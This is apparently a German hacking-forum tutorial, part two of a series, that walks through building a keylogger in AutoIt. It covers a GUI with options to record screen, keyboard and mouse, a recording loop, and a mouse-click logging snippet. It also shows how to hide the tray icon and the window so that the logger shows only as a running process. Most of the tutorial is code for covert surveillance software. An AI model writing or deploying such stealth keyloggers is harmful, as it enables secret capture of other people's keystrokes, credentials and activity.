AutoIt Keylogger Tutorial Fortsetzung

Wenn ihr neu in AutoIt seit und euch noch nicht mit meinem ersten Keylogger Tutorial befasst habt empfehle ich euch dies zu tun! Im ersten Teil habe ich viele Funktionen erklärt mit welchen Funktionen ihr einen Key Logger bauen könnt, jedoch nicht wir ihr einen fertigen, voll funktionstüchtigen baut!

Vorweg

Dieses Tutorial kommt von mir ich habe mir extra die Mühe gemacht euch zu zeigen wie ihr nun die Befehle, die ihr aus dem ersten Tutorial habt, richtig in eine GUI und in ein funktionierendes Programm einbauen könnt. Ich mache das hier alles freiwillig also bitte lasst die "dummen" Kommentare, ich werde versuchen auf eure Fragen so schnell zu antworten, wie ich kann!

Einleitung und Erklärung

In diesem Tutorial erkläre ich die Funktionen aus meinem ersten Tutoiral nicht mehr! Stattdessen werde ich erkären wie ihr diese Funktionen in eine GUI(Graphical User Interface) und in ein vollständig funktionierendes Programm einbaut! Ich werde hier nicht erklären wie ihr eine GUI erstellt ich werde aber zeigen wie ihr einer GUI die Funktionen zuweist und sie zum laufen bekommt. Wenn ihr eine GUI erstellen wollt empfehle ich euch das Programm 'Koda', es ist der einzigst richtig funktionierende GUI-Editor in AutoIt der mir bekannt ist, es gibt auch von AutoIt Scriptern selbst erstellte Editoren, diese kann ich aus eigener Erfahrung jedoch nicht empfehlen!

Tutorial

Zuerst einmal zeige ich euch den Code der GUI(Mit dem ihr auch anfangen werdet, bzw. wenn ihr eine GUI überhaupt haben wollt!
Hier einmal der Code:

Code:
#include <GUIConstants.au3>
#NoTrayIcon

GUICreate("Keylogger", 130, 115, -1, -1)
$Screen = GUICtrlCreateCheckbox("Spectate Screen", 8, 18, 111, 17)
$Start = GUICtrlCreateButton("Start Spectating", 2, 86, 123, 25, 0)
$Key = GUICtrlCreateCheckbox("Spectate Keyboard", 8, 38, 113, 17)
$Mouse = GUICtrlCreateCheckbox("Spectate Mouse", 8, 58, 113, 17)
GUICtrlCreateGroup("Settings", 2, 2, 123, 81)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUISetState(@SW_SHOW)

While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit

	EndSwitch
WEnd
Hier sieht man nun einen schönen Code einer GUI in der man 3 Checkboxen, einen Button und eine Group findet, wichtig für uns sind nur die Checkboxen und der Button(Zum starten). Gucken wir uns einmal die ersten 2 Zeilen an dort finden wir den Befehl "#NoTrayIcon" in der zweiten Zeile und die Include Datei "GUIConstants.au3" in der ersten Zeile. "#NoTrayIcon" bewirkt das, das Porgramm ohne ein Tray Icon auftritt und in der Include Datei "GUIConstants.au3" enthält Variablen die bestimmte Dinge am Fenster der GUI(Das Fenster übrigens wird in AutoIt nur als GUI bezeichnet, also mache ich damit auch weiter!) Funktionen und Namen zuweist wie z.B. "$GUI_EVENT_CLOSE" diese Variable bestimmt die Funktion "Schließen" eines Fensters oder wie einige vielleicht besser verstehen werden diese Variable beschreibt das "X" Oben rechts in der Titel-Leiste eines jeden Fensters, sofern es denn auch ein Schließen-Button enthält(Diesen Button kann man durch GUI-Styles verschwinden lassen).

So weiter gehts mit dem ersten Button! Diesen fügen wir ganz easy unten in die While-Schleife ein, indem wir eine Case in dem bereits forhanden Switch einfügen und ihn den Namen des gewünschten Buttons zufügen, dies erfolgt ohne Klammern oder ähnlichem. Hier einmal der Code:

Code:
While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit
		Case $Start
			;Hier kommen weitere Funktionen hin
	EndSwitch
WEnd
So wie ihr sehen könnt haben wir der Variable "$Start" nun zu einem Switch hinzugefügt, was genau dieser Switch bewirkt findet man durch die darauffolgende Variable in diesem Falle "$nMsg", eine Zeile darüber steht die Funktion der Variable nämlich "GUIGetMsg()" dieser Befehl heisst soviel wie: Wenn es ein Event auf dem Button gibt z.B. durch einen Mausclick soll etwas passieren. In diesem Falle passiert das was in der dazugehören Case steht. Ihr seht das sich unter "Case $Start" bisher nur ein Satz befindet dieser Satz ist jedoch ein Kommentar was vom Compiler ignoriert wird, es beginnt immer mit ";".

Als nächstes widmen wir uns den Checkboxen! Dies ist ein sehr wichtiger und gut zu gebrauchender Teil des Tutorials, denn sonst würde der Key Logger alles aufnehmen was vielleicht nicht jeder Benutzer möchte. Das regeln wir nun ganz leicht mit einer If-Schleife(Solch eine Schleife kommt in fast jedem Programm vor, denn es ist die wichtigste Schleife beim Programmieren!).
Hier der Code:

Code:
If GUICtrlRead($Screen) = $GUI_CHECKED Then
	$RS = True
Else
	$RS = False
EndIf

If GUICtrlRead($Key) = $GUI_CHECKED Then
	$RK = True
Else
	$RK = False
EndIf

If GUICtrlRead($Mouse) = $GUI_CHECKED Then
	$RM = True
Else
	$RM = False
EndIf
Hier wird nun mit einer If-Schleife überprüft ob eine Checkbox vorhanden ist und zwar mit der Variable "$GUI_CHECKED" die überpfrüft ob eine Checkbox oder eine Radio Box gecheckt oder ungecheckt ist. Mit Variablen wie z.B. "$RM" halte ich fest welchen Status sie haben("$RM" = Record Mouse) wenn die Checkbox aktiviert ist dann ist die Variable True(Wahr) wenn nicht dann False(Falsch).

Nun können wir überprüfen ob die Checkboxen aktiviert sind was uns allerdings noch nicht viel bringt ohne weitere Funktionen. Als nächstes brauchen wir den Key Logger an sich der in einer While-Schleife läuft und am Anfang jeder Funktion überpfrüft ob eine Variable True oder False ist.
Hier ein kleiner Code:

Code:
While 1
	If $RS = True Then
		;Screen Record
	EndIf
	
	If $RK = True Then
		;Key Record
	EndIf
	
	If $RM = True Then
		;Mouse Record
	EndIf
WEnd
So in dieser While Schleife überprüft der Keylogger nun jedesmal bevor er etwas tut, ob er überhaupt die erlaubnis hat, eine bestimmte Funktion auszuführen.
So nun einmal ein Zwischenstand des Codes:

Code:
#include <GUIConstants.au3>
#NoTrayIcon

GUICreate("Keylogger", 130, 115, -1, -1)
$Screen = GUICtrlCreateCheckbox("Spectate Screen", 8, 18, 111, 17)
$Start = GUICtrlCreateButton("Start Spectating", 2, 86, 123, 25, 0)
$Key = GUICtrlCreateCheckbox("Spectate Keyboard", 8, 38, 113, 17)
$Mouse = GUICtrlCreateCheckbox("Spectate Mouse", 8, 58, 113, 17)
GUICtrlCreateGroup("Settings", 2, 2, 123, 81)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUISetState(@SW_SHOW)

While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit
		Case $Start
			GUISetState(@WS_HIDE)
			If GUICtrlRead($Screen) = $GUI_CHECKED Then
				$RS = True
			Else
				$RS = False
			EndIf
			If GUICtrlRead($Key) = $GUI_CHECKED Then
				$RK = True
			Else
				$RK = False
			EndIf
			If GUICtrlRead($Mouse) = $GUI_CHECKED Then
				$RM = True
			Else
				$RM = False
			EndIf
			
			While 1
				If $RS = True Then
					;Screen Record
				EndIf
	
				If $RK = True Then
					;Key Record
				EndIf
	
				If $RM = True Then
					;Mouse Record
				EndIf
			WEnd
	EndSwitch
WEnd
Der Befehl GUISetState(@SW_HIDE) versteckt das Fenster, sodass euer Key Logger nurnoch als Prozess zu finden ist!

So nun fehlen nurnoch die Funktionen aus dem anderen Tutorial, wie ihr die einfügt habe ich euch mit netten Kommentaren makiert.
Ihr müsst meine Kommentare z.B. so ausstauschen:
";Mouse Record" ausstauschen mit:

Code:
$Pos = MouseGetPos() 
If _IsPressed("01") Then 
	_FileWriteLog("MouseLog.log","'left:'" & $Pos[0] & ":" & $Pos[1]) 
	Sleep(120) 
EndIf
Achtung! Bei einem Screen Record müsst ihr nun Zeitangaben benutzen! Dafür benuzt ihr am besten eine If-Schleife mit den Befehlen @HOUR, @MIN und @SEC! Denn ein Sleep Befehl verhindert eine gewisse Zeit die Aufnahme von Maus und Tastatur!

Und natürlich die includes oben nicht vergessen die ihr für die einzelnen Funktionen benötigt! Hier der Link zu meinem ersten Tutorial aus dem ihr die Funktionen bekommt: http://free-hack.com/viewtopic.php?t=55417

Viel spass und Erfolg beim Coden!
V!ruS